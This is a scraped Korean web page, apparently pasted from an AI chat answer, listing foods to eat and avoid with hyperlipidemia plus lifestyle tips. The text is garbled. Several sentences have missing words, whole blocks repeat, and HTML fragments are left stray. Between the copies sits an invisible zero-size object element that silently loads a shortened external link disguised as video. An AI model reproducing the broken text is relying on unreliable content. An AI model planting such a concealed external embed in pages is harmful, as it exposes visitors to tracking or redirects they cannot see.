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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">고지혈증에 좋은 음식과 나쁜 음식 간단 정리</h2><p data-sourcepos="3:1-3:98"><strong>고지혈증</strong>은 혈액 속 지방 성분이 높아지는 으로, 심혈관 의 주요 원인 중 하나입니다. 따라서 식단 관리를 통해 혈중 지방 수치를 조절하는 것이 매우 중요합니다.</p><h3 data-sourcepos="5:1-5:20">나쁜 음식 (줄여야 할 음식)</h3><ul data-sourcepos="6:1-11:0">
<li data-sourcepos="6:1-6:66"><strong>포화지방이 많은 음식:</strong> 붉은 육류(소고기, 돼지고기), 가공육(햄, 소시지), 버터, 치즈, 코코넛 오일 등</li>
<li data-sourcepos="7:1-7:40"><strong>트랜스 지방이 많은 음식:</strong> 마가린, 쇼트닝, 과자, 케이크 등</li>
<li data-sourcepos="8:1-8:41"><strong>콜레스테롤이 많은 음식:</strong> 달걀 노른자, 새우, 오징어, 내장 등</li>
<li data-sourcepos="9:1-9:31"><strong>당이 많은 음식:</strong> 탄산음료, 과자, 케이크 등</li>
<li data-sourcepos="10:1-11:0"><strong>알코올:</strong> 술은 중성지방 수치를 높입니다.</li>
</ul><h3 data-sourcepos="12:1-12:25">좋은 음식 (더 많이 먹어야 할 음식)</h3><ul data-sourcepos="13:1-17:0">
<li data-sourcepos="13:1-13:64"><strong>불포화지방산이 많은 음식:</strong> 등푸른 생선(고등어, 삼치, 연어), 견과류(호두, 아몬드), 올리브 오일 등</li>
<li data-sourcepos="14:1-14:37"><strong>식이섬유가 풍부한 음식:</strong> 현미, 통곡물, 채소, 과일 등</li>
<li data-sourcepos="15:1-15:20"><strong>콩과류:</strong> 두부, 콩나물 등</li>
<li data-sourcepos="16:1-17:0"><strong>마늘:</strong> 혈압을 낮추고 혈관 건강에 도움을 줍니다.</li>
</ul><h3 data-sourcepos="18:1-18:11">기타 주의사항</h3><ul data-sourcepos="19:1-23:0">
<li data-sourcepos="19:1-19:46"><strong>규칙적인 운동:</strong> 유산소 운동은 혈중 지방 수치를 낮추는 데 적입니다.</li>
<li data-sourcepos="20:1-20:59"><strong>체중 조절:</strong> 비만은 고지혈증의 주요 원인 중 하나이므로, 적정 체중을 유지하는 것이 중요합니다.</li>
<li data-sourcepos="21:1-21:36"><strong>금연:</strong> 흡연은 혈관을 손상시켜 고지혈증을 악화시킵니다.</li>
<li data-sourcepos="22:1-23:0"><strong>스트레스 관리:</strong> 스트레스는 혈중 지방 수치를 높일 수 있으므로, 스트레스 해소를 위한 노력이 필요합니다.</li>
</ul><p data-sourcepos="24:1-24:93"><strong>주의:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 식단 관리 방법이 달라질 수 있습니다. 한 진단과 상담은 전문 의료진과 상담해야 합니다.</p><p data-sourcepos="26:1-26:38"><strong>더 자세한 정보를 원하시면 아래와 같은 키워드로 검색해보세요:</strong></p><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:9">고지혈증 식단</li>
<li data-sourcepos="28:1-28:13">고지혈증에 좋은 음식</li>
<li data-sourcepos="29:1-30:0">고지혈증에 나쁜 음식</li>
</ul><p data-sourcepos="31:1-31:93"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 식단 관리 방법이 달라질 수 있습니다. 한 진단과 상담은 전문 의료진과 상담해야 합니다.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="6:1-6:66"><strong>포화지방이 많은 음식:</strong> 붉은 육류(소고기, 돼지고기), 가공육(햄, 소시지), 버터, 치즈, 코코넛 오일 등</li>
<li data-sourcepos="7:1-7:40"><strong>트랜스 지방이 많은 음식:</strong> 마가린, 쇼트닝, 과자, 케이크 등</li>
<li data-sourcepos="8:1-8:41"><strong>콜레스테롤이 많은 음식:</strong> 달걀 노른자, 새우, 오징어, 내장 등</li>
<li data-sourcepos="9:1-9:31"><strong>당이 많은 음식:</strong> 탄산음료, 과자, 케이크 등</li>
<li data-sourcepos="10:1-11:0"><strong>알코올:</strong> 술은 중성지방 수치를 높입니다.</li>
</ul><h3 data-sourcepos="12:1-12:25">좋은 음식 (더 많이 먹어야 할 음식)</h3><ul data-sourcepos="13:1-17:0">
<li data-sourcepos="13:1-13:64"><strong>불포화지방산이 많은 음식:</strong> 등푸른 생선(고등어, 삼치, 연어), 견과류(호두, 아몬드), 올리브 오일 등</li>
<li data-sourcepos="14:1-14:37"><strong>식이섬유가 풍부한 음식:</strong> 현미, 통곡물, 채소, 과일 등</li>
<li data-sourcepos="15:1-15:20"><strong>콩과류:</strong> 두부, 콩나물 등</li>
<li data-sourcepos="16:1-17:0"><strong>마늘:</strong> 혈압을 낮추고 혈관 건강에 도움을 줍니다.</li>
</ul><h3 data-sourcepos="18:1-18:11">기타 주의사항</h3><ul data-sourcepos="19:1-23:0">
<li data-sourcepos="19:1-19:46"><strong>규칙적인 운동:</strong> 유산소 운동은 혈중 지방 수치를 낮추는 데 적입니다.</li>
<li data-sourcepos="20:1-20:59"><strong>체중 조절:</strong> 비만은 고지혈증의 주요 원인 중 하나이므로, 적정 체중을 유지하는 것이 중요합니다.</li>
<li data-sourcepos="21:1-21:36"><strong>금연:</strong> 흡연은 혈관을 손상시켜 고지혈증을 악화시킵니다.</li>
<li data-sourcepos="22:1-23:0"><strong>스트레스 관리:</strong> 스트레스는 혈중 지방 수치를 높일 수 있으므로, 스트레스 해소를 위한 노력이 필요합니다.</li>
</ul><p data-sourcepos="24:1-24:93"><strong>주의:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 식단 관리 방법이 달라질 수 있습니다. 한 진단과 상담은 전문 의료진과 상담해야 합니다.</p><p data-sourcepos="26:1-26:38"><strong>더 자세한 정보를 원하시면 아래와 같은 키워드로 검색해보세요:</strong></p><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:9">고지혈증 식단</li>
<li data-sourcepos="28:1-28:13">고지혈증에 좋은 음식</li>
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</ul><p data-sourcepos="31:1-31:93"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 식단 관리 방법이 달라질 수 있습니다. 한 진단과 상담은 전문 의료진과 상담해야 합니다.</p></div>
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